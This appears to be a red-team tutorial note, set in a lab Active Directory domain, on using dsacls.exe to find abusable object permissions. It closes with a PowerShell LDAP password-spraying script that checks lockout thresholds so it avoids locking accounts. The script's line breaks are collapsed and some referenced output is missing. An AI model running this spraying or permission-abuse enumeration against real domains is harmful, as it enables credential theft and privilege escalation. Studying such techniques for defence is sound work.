Enumerating AD Object Permissions with dsacls
It is possible to use a native windows binary (in addition to powershell cmdlet Get-Acl) to enumerate Active Directory object security persmissions. The binary of interest is dsacls.exe.
Dsacls allows us to display or modify permissions (ACLS) of an Active Directory Domain Services (AD DS).
Let's check if user spot has any special permissions against user's spotless AD object:
attacker@victimdsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "spot"
Nothing useful:
Let's give user spot Reset Password and Change Password permissions on spotless AD object:
...and try the command again:
attacker@victimdsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "spot"
All well known (and abusable) AD object permissions should be sought here. One of them is FULL CONTROL:
attacker@victimdsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "full control"
attacker@victimdsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" | select-string "spotless"
Enumerating AD object permissions this way does not come in a nice format that can be piped between powershell cmd-lets, but it's still something to keep in mind if you do not the ability to use tools like powerview or ActiveDirectory powershell cmdlets or if you are trying to LOL.
For more good privileges to be abused:
As a side note, the dsacls binary could be used to do LDAP password spraying as it allows us to bind to an LDAP session with a specified username and password:
incorrect logondsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:spotless@offense.local /passwd:1234567
correct logondsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:spotless@offense.local /passwd:123456
attacker@victim$domain = ((cmd /c set u)[-3] -split "=")[-1]$pdc = ((nltest.exe /dcname:$domain) -split "\\\\")[1]$lockoutBadPwdCount = ((net accounts /domain)[7] -split ":" -replace " ","")[1]$password = "123456"​# (Get-Content users.txt)"krbtgt","spotless" | % {$badPwdCount = Get-ADObject -SearchBase "cn=$_,cn=users,dc=$domain,dc=local" -Filter * -Properties badpwdcount -Server $pdc | Select-Object -ExpandProperty badpwdcountif ($badPwdCount -lt $lockoutBadPwdCount - 3) {$isInvalid = dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:$_@offense.local /passwd:$password | select-string -pattern "Invalid Credentials"if ($isInvalid -match "Invalid") {Write-Host "[-] Invalid Credentials for $_ : $password" -foreground red} else {Write-Host "[+] Working Credentials for $_ : $password" -foreground green}}}
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